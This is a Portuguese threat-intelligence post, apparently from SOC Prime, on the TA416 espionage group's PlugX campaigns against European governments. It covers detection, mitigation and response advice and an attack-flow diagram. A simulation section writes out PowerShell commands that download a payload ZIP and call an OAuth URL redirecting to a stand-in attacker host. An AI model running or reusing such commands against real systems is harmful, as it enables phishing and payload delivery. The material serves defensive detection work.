Eu voltaria correndo para a UE novamente: TA416 retoma campanhas de espionagem em governos europeus

Ruslan Mikhalov Chefe de Pesquisa de Ameaças na SOC Prime

Seguir

Eu voltaria correndo para a UE novamente: TA416 retoma campanhas de espionagem em governos europeus

Detection stack

AIDR
Alert
ETL
Query

Relatório de Ameaça
Fluxo de Ataque
Detecções
Simulações

Resumo

TA416, um agente de ameaça alinhado à China, retomou a segmentação de entidades governamentais e diplomáticas europeias em meados de 2025 após um período de atividade reduzida. O agente mistura reconhecimento leve com entrega de um backdoor PlugX personalizado, rotacionando cadeias de acesso inicial que incluem iscas falsas no estilo Cloudflare Turnstile, abuso de redirecionamento OAuth e downloaders dirigidos por MSBuild. Até março de 2026, relatórios indicam que o mesmo manual foi ampliado para alvos diplomáticos do Oriente Médio em meio a tensões regionais aumentadas ligadas ao Irã. As campanhas se apoiam em caixas de correio comprometidas, binários Windows assinados para carregamento de DLLs e infraestrutura de comando e controle de rápida rotação.

Investigação

A Proofpoint rastreou múltiplas ondas de spear-phishing enviadas de endereços de freemail e contas governamentais comprometidas, utilizando pixels de rastreamento ou arquivos arquivados armados. As cadeias baseadas em arquivos usaram contrabando de ZIPs com artefatos LNK para preparar MSIs ou pacotes TAR, que então lançaram executáveis assinados para carregamento do PlugX. Paralelamente, a TA416 abusou do redirecionamento OAuth da Microsoft Entra ID e usou binários MSBuild renomeados pareados com arquivos de projeto maliciosos em C# para recuperar e executar cargas. O tráfego C2 foi observado sobre HTTP com mensagens criptografadas RC4 e padrões distintos de cabeçalhos/cookies usados para modelar pedidos e respostas.

Mitigação

Enforce autenticação forte de e-mail e aperte os controles em torno de conteúdo de entrada proveniente de provedores de armazenamento em nuvem desconhecidos. Monitore execuções suspeitas de binários assinados comumente abusados para carregamento lateral (por exemplo, cnmpaui.exe e steam_monitor.exe) e alerte sobre comportamentos anormais na ordem de busca de DLLs. Adicione detecções para assinaturas incomuns de cabeçalho HTTP ou cookie associadas com C2 criptografado, e bloqueie domínios/IPs conhecidos da TA416 onde for possível. Reforce o monitoramento de endpoint para persistência recém-criada de Run-key e gravações inesperadas de arquivos em diretórios públicos ou compartilhados.

Resposta

Se atividade for detectada, isole o host, capture a memória volátil, e preserve logs relevantes de endpoint e e-mail para escopo. Procure por artefatos do PlugX incluindo o carregador CNCLID.dll, shellcode Canon.dat, e o mutex dGcEuQhKT. Revogue o acesso para contas de e-mail comprometidas, redefina credenciais, e remova quaisquer tarefas agendadas ou outros mecanismos de persistência. Analise a telemetria de rede para beaconing HTTP criptografado com RC4, então bloqueie domínios/URLs associados e expanda a busca por todo o ambiente.

"graph TB %% Class Definitions Section classDef action fill:#ffcccc classDef tool fill:#ccccff classDef malware fill:#ffcc99 classDef process fill:#ccffcc %% Nodes action_initial_access["Ação – T1566 Phishing: E-mails de phishing enviados de contas comprometidas e phishing genérico. Destinatários clicam em links maliciosos."] class action_initial_access action tool_phishing_email["Ferramenta – Nome: E-mail de Phishing Técnica: T1566"] class tool_phishing_email tool action_user_execution["Ação – T1204 Execução do Usuário: Vítimas clicam em URL maliciosa levando a download de ZIP malicioso."] class action_user_execution action tool_malicious_zip["Ferramenta – Nome: Arquivo ZIP malicioso contendo atalho LNK"] class tool_malicious_zip tool action_lnk_smuggling["Ação – T1027.012 Contrabando de Ícone LNK: Atalho LNK executa script PowerShell."] class action_lnk_smuggling action process_powershell["Processo – Execução do PowerShell para extrair binário assinado"] class process_powershell process tool_signed_binary["Ferramenta – Nome: cnmpaui.exe (binário legítimo assinado)"] class tool_signed_binary tool action_dll_sideloading["Ação – T1218 Execução de Proxy de Binário do Sistema: Carregamento lateral de DLL carrega DLL maliciosa."] class action_dll_sideloading action malware_malicious_dll["Malware – DLL maliciosa carregada via carregamento lateral"] class malware_malicious_dll malware action_msbuild_execution["Ação – T1127.001 Execução de Proxy de Utilitários de Desenvolvedor Confiáveis: MSBuild usado para baixar e executar PlugX."] class action_msbuild_execution action tool_msbuild["Ferramenta – Nome: Executável MSBuild renomeado"] class tool_msbuild tool tool_csharp_project["Ferramenta – Nome: Arquivo de projeto C# malicioso"] class tool_csharp_project tool malware_plugx["Malware – Carga PlugX"] class malware_plugx malware action_persistence["Ação – T1037.001 Persistência via chave de registro Run e modificação de atalho."] class action_persistence action process_registry["Processo – Criação de chave de registro Run sob HKCUSoftwareMicrosoftWindowsCurrentVersionRun"] class process_registry process action_defense_evasion["Ação – T1553.002 Subverter Controles de Confiança: Abuso de executáveis assinados e forte ofuscação."] class action_defense_evasion action action_apddomain_hijack["Ação – T1574.014 Seqüestro do Fluxo de Execução: Seqüestro de AppDomainManager via cadeia MSBuild"] class action_apddomain_hijack action action_c2["Ação – T1071.001 Protocolos Web e T1573.001 Canal Criptografado: C2 HTTP com criptografia RC4"] class action_c2 action process_c2_communication["Processo – Comunicação HTTP criptografada com servidor C2"] class process_c2_communication process action_exfiltration["Ação – T1041 Exfiltração Sob Canal C2: Dados enviados por canal criptografado"] class action_exfiltration action %% Connections action_initial_access –>|entrega| tool_phishing_email tool_phishing_email –>|contém link levando a| action_user_execution action_user_execution –>|baixa| tool_malicious_zip tool_malicious_zip –>|contém| action_lnk_smuggling action_lnk_smuggling –>|executa| process_powershell process_powershell –>|extrai| tool_signed_binary tool_signed_binary –>|carrega| action_dll_sideloading action_dll_sideloading –>|carrega| malware_malicious_dll malware_malicious_dll –>|prepara ambiente para| action_msbuild_execution action_msbuild_execution –>|usa| tool_msbuild tool_msbuild –>|processa| tool_csharp_project tool_csharp_project –>|baixa e executa| malware_plugx malware_plugx –>|cria| action_persistence action_persistence –>|escreve| process_registry action_persistence –>|modifica atalho para| action_lnk_smuggling action_persistence –>|habilita| action_defense_evasion action_defense_evasion –>|aplica| action_apddomain_hijack action_apddomain_hijack –>|habilita| action_c2 action_c2 –>|comunica via| process_c2_communication process_c2_communication –>|exfiltra dados via| action_exfiltration "

Fluxo de Ataque

Narrativa & Comandos de Ataque:
1. Preparar a carga: O atacante carrega um arquivo ZIP malicioso (payload.zip) no contêiner do Azure Blob mydownload.z29.web.core.windows.net.
2. Criar uma página de isca: Uma página HTML maliciosa hospedada no mesmo domínio inclui um <img> tag que aponta para o URL do Azure Blob (acionando o download) and um <iframe> oculto que imediatamente redireciona a vítima para um ponto de extremidade de autorização OAuth 2.0 do Microsoft Entra ID com um redirect_uri apontando para o domínio controlado pelo atacante.
3. Interação da vítima: A vítima visita a página de isca (por exemplo, via e-mail de phishing). O navegador emite dois pedidos HTTP GET em rápida sucessão – um para o URL do Blob e um para o URL do OAuth. Logs de Atividade do Azure registram ambos os pedidos sob a mesma sessão proxy, satisfazendo a condição seleção_blob E seleção_oauth condição.

Script de Teste de Regressão: (executado a partir da máquina da vítima para reproduzir a telemetria)

# Simulação de disparo do TA416 Azure Blob + OAuth
# Passo 1: Baixar blob malicioso (simulado com um arquivo benigno)
Invoke-WebRequest -Uri "https://mydownload.z29.web.core.windows.net/payload.zip" -OutFile "$env:TEMPpayload.zip"

# Passo 2: Imediatamente invoque o URL de autorização OAuth (redirecionamento simulado)
$oauthUrl = "https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=FAKE_CLIENT_ID&response_type=code&redirect_uri=https://attacker.example.com/callback"
Invoke-WebRequest -Uri $oauthUrl -Method GET -UseBasicParsing | Out-Null

Write-Host "Simulação completa – ambos os URLs requisitados."

Comandos de Limpeza:

# Remova o arquivo baixado
Remove-Item -Path "$env:TEMPpayload.zip" -Force -ErrorAction SilentlyContinue

# Limpe as variáveis de sessão do PowerShell
Remove-Variable -Name oauthUrl -ErrorAction SilentlyContinue

Junte-se à plataforma Detection as Code da SOC Prime para melhorar a visibilidade das ameaças mais relevantes para o seu negócio. Para ajudá-lo a começar e gerar valor imediato, agende uma reunião agora com os especialistas da SOC Prime.

Cadastre-se Gratuitamente